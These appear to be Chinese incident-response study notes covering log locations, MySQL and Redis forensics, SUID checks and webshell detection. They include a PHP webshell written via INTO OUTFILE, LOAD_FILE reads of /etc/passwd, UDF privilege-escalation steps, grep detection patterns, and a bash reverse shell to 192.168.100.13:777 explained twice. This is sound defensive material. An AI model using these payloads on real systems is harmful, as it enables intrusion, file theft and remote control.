应急响应
日志
windows
-
IIS 6.0 及更早版本:
C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\
-
IIS 7.0 及更高版本:
C:\inetpub\logs\LogFiles\W3SVC[SiteID]\
-
Apache HTTP Server
C:\Program Files (x86)\Apache Group\Apache2\logs\
或者
C:\Program Files\Apache Group\Apache2\logs\
linux
/var/log/syslog:记录系统的各种信息和错误。(Debian/Ubuntu)
/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。(CentOS/RHEL)
/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。(Debian/Ubuntu)
/var/log/secure:记录身份验证相关的信息,如登录和认证失败。(CentOS/RHEL)
密钥登录位置~/.ssh/authorized_keys
登录成功
Accepted
登录错误特殊标记
Failed password for
/var/log/kern.log:记录内核生成的日志信息。
/var/log/dmesg:记录系统启动时内核产生的消息。
/var/log/boot.log:记录系统启动过程中的消息。
/var/log/secure:记录安全相关的消息。
/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。
/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。
mysql
/var/log/mysql/
- 检查日志文件:
查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。
查询日志:记录所有的查询,包括成功和失败的查询。
错误日志:记录MySQL服务器的错误、警告和通知。
- 检查审计日志:
如果启用了审计插件,可以查看审计日志。MySQL Enterprise Edition包含一个审计插件,可以记录所有SQL查询。
- 检查连接历史:
检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。
- 检查特定的表和列:
查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等。
- 利用
INTO OUTFILE
写入文件
INTO OUTFILE
是 MySQL 提供的一个功能,允许将查询结果写入服务器上的文件。如果攻击者能成功利用这个功能,他们可以将恶意代码写入 Web 服务器目录,生成一个 Web Shell。
示例:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。
- 利用 LOAD_FILE 读取文件
LOAD_FILE
是 MySQL 提供的另一个功能,允许读取服务器上的文件内容。攻击者可以利用这个功能读取敏感文件,如系统密码文件 /etc/passwd。
示例:
SELECT LOAD_FILE('/etc/passwd');
这个命令会返回 /etc/passwd
文件的内容,其中包含所有用户的信息。
- 利用 UDF 执行系统命令
UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。
示例步骤:
上传恶意共享库 lib_mysqludf_sys.so
到 MySQL
服务器的插件目录。
创建 UDF 函数:
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
使用 UDF 执行系统命令:
SELECT sys_exec('id > /tmp/output.txt');
这个命令将在 /tmp
目录下创建一个文件 output.txt
,其中包含执行 id
命令的结果。
常用方法总结
INTO OUTFILE
写入文件:常用于创建 Web Shell 或写入恶意脚本。
LOAD_FILE
读取文件:常用于读取敏感文件,进行信息收集。
UDF
执行系统命令:常用于执行任意系统命令,获取更高权限。
show global variables like '%secure%';
是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。
变量分析
require_secure_transport
解释:此变量指定是否强制使用安全连接(如 SSL/TLS)来连接 MySQL 服务器。
值:
ON:强制所有连接使用 SSL/TLS。
OFF:不强制使用 SSL/TLS。
安全性:建议设置为 ON,以确保所有客户端连接使用加密传输,保护数据的传输安全。
secure_auth
解释:此变量控制是否要求客户端使用更安全的密码认证方式。
值:
ON:强制使用mysql_native_password
或更强的身份验证插件。
OFF:允许使用旧的(不安全的)认证方式。
安全性:建议设置为 ON,以避免使用不安全的旧认证方式。
secure_file_priv
解释:此变量指定 MySQL 服务器可以访问的目录,以执行 LOAD DATA INFILE 和 SELECT INTO OUTFILE 语句。这一变量限制了文件操作的目录范围,防止文件被不当读取或写入。
值:
路径(如/var/lib/mysql-files/
):只允许在指定目录下进行文件操作。
空字符串:禁止所有文件操作。
NULL:没有限制。
安全性:建议设置为指定的安全目录或空字符串,以限制 MySQL 的文件操作范围,减少潜在的文件操作安全风险。
UDF
在进行 UDF (User Defined Function) 提权时,攻击者通常会将恶意共享库文件放在 MySQL 插件目录中。这个目录的默认路径通常是
/usr/lib/mysql/plugin/
攻击步骤
-
编写恶意 UDF 插件:攻击者编写一个 .so 文件,该文件包含恶意代码。
-
上传恶意插件:利用 MySQL 的文件操作功能将该文件上传到服务器上的某个路径。
SELECT '' INTO OUTFILE '/path/to/your/udf.so';
-
创建 UDF 函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';
-
执行命令:调用这个 UDF 函数执行系统命令。
SELECT do_system('id');
检查和防护
-
检查 UDF 函数:查看是否存在异常的 UDF 函数。
SELECT * FROM mysql.func;
select sys_eval('whoami');
-
限制
secure_file_priv
:将secure_file_priv
设置为一个特定的路径,限制 MySQL 文件操作的范围。secure_file_priv = /var/lib/mysql-files
-
移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。
DROP FUNCTION IF EXISTS do_system;
-
权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。
-
日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。
Redis
/var/log/redis.log
版本号查看命令:
redis-cli INFO | grep redis_version
redis-server --version
Redis 5.0.1
未授权访问 是最常见且可能性最大的漏洞
CONFIG SET
动态地修改 Redis 的配置参数
SLAVEOF
将当前 Redis 服务器设置为另一个 Redis 服务器的从节点
MODULE LOAD
加载模块
SUID
使用 find
命令查找系统中的所有 SUID 文件:find / -perm -u=s -type f 2>/dev/null
-
检查可疑文件: 查看找到的 SUID 文件,寻找常见的提权工具(如
nmap
、vim
、find
、awk
、perl
等)是否在列表中。这些工具如果被设置为 SUID,有可能被利用来执行任意命令。 -
利用漏洞: 如果找到的 SUID 文件有已知的漏洞,可以利用这些漏洞来执行任意命令。例如,某些版本的
nmap
可以通过--interactive
模式获得一个 shell,进而提权。 -
不应拥有 SUID 位的程序: 如常见编辑器(
vim
)、网络工具(tcpdump
)、脚本语言解释器(perl
)等。如果这些程序被设置了 SUID 位,通常是异常情况,需要进一步检查。 -
检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过
ls -l
命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。
grep
-a
将其视为文本文件
sort
排序
-n
选项表示按数值进行排序。-r
选项表示按降序排序。
uniq
删除重复的行
-c
- 输入文件必须是经过排序的,因为
uniq
命令只检查相邻行之间的重复情况。
perl -e '...'
表示在命令行中直接运行 Perl 代码。
while($_=<>)
:逐行读取输入。
/for(.*?) from/
:使用正则表达式匹配模式“for [username] from”,其中[username]
是登录尝试的用户名。
print "$1\n";
打印出正则表达式中捕获的第一个子匹配(即 $1
),然后跟一个换行符 \n
。
awk '{print $11}'
从每一行中提取第11个字段
cut
每一行中提取指定的部分
-d -
指定字段的分隔符是--d ' '
表示字段分隔符是空格-f 1
:指定要提取第一个字段
wc -l
命令用于统计行数
find
查找文件和目录
-
./
表示从当前目录开始搜索。 -
-type f
表示只查找文件(不包括目录)。 -
-name "*.php"
表示只查找以.php
结尾的文件。 -
2>/dev/null
: 将标准错误输出重定向到/dev/null
,以避免显示权限不足等错误信息。 -
-perm -u=s
: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。
xargs
读取数据,传递给指定的命令。
netstat
-antlp
-a
:显示所有连接和侦听端口。-n
:直接使用数字形式显示地址和端口,而不尝试将它们解析为主机名和服务名。-l
:仅显示正在侦听(listening)的连接。-u
:仅显示使用 UDP 协议的连接。-p
:显示建立相关链接的进程标识符和程序名称。-t
:仅显示使用 TCP 协议的连接。
字段解释
- 1.**Proto:**协议(Protocol)
显示协议类型,常见的有 tcp
和 udp
。
- 2.**Recv-Q:**接收队列(Receive Queue)
显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。
- 3.**Send-Q:**发送队列(Send Queue)
显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。
- 4.**Local Address:**本地地址
显示本地端的 IP 地址和端口号。例如:0.0.0.0:80
表示本地所有 IP 地址上的 80
端口。
- 5.**Foreign Address:**远程地址
显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345
表示远程 IP 为 192.168.1.1
的 12345
端口。
- 6.**State:**状态
显示连接的状态。常见状态有:
LISTEN:
正在监听连接。
ESTABLISHED:
已建立连接。
CLOSE_WAIT:
等待关闭连接。
TIME_WAIT:
等待足够的时间以确保远程主机收到关闭请求。
- 7.**PID/Program name:**进程 ID 和程序名
显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。
webshell
PHP: eval()
, system()
, exec()
, shell_exec()
, passthru()
, assert()
, base64_decode()
ASP: Execute()
, Eval()
, CreateObject()
JSP: Runtime.getRuntime().exec()
- WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
eval(base64_decode('encoded_string'));
- WebShell可能会包含文件操作函数,用于读取、写入或修改文件:
PHP: fopen()
, fwrite()
, file_get_contents()
, file_put_contents()
ASP: FileSystemObject
- WebShell可能会包含网络操作函数,用于与远程服务器通信:
PHP: fsockopen()
, curl_exec()
, file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("
//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"
找免杀马思路,看日志
文件权限
文件权限由三部分组成:所有者(user),组(group),和其他人(others)
4
代表读 (r
)2
代表写 (w
)1
代表执行 (x
)
所以7
代表读、写、执行 (rwx
)
挖矿
检查运行的进程: ps aux
检查系统日志: /var/log/syslog
/var/log/auth.log
/var/log/messages
检查计划任务:cat /etc/crontab
不死马
- 启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改
rc.local
或crontab
。
rc.local
是一个在 Unix-like 系统中常见的启动脚本文件
systemctl list-unit-files --type=service
列出系统中所有服务单元文件
ls /etc/init.d/
在系统启动和关闭时,init 系统会运行这些脚本来启动或停止服务。
/usr/bin
可执行程序
反弹shell解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
bash -i:
- 以交互模式启动一个新的Bash Shell。
-i
参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc
。
>& /dev/tcp/192.168.100.13/777:
-
使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。
-
>&
表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。
0>&1:
- 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
ll解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
bash -i:
- 以交互模式启动一个新的Bash Shell。
-i
参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc
。
>& /dev/tcp/192.168.100.13/777:
-
使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。
-
>&
表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。
0>&1:
- 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。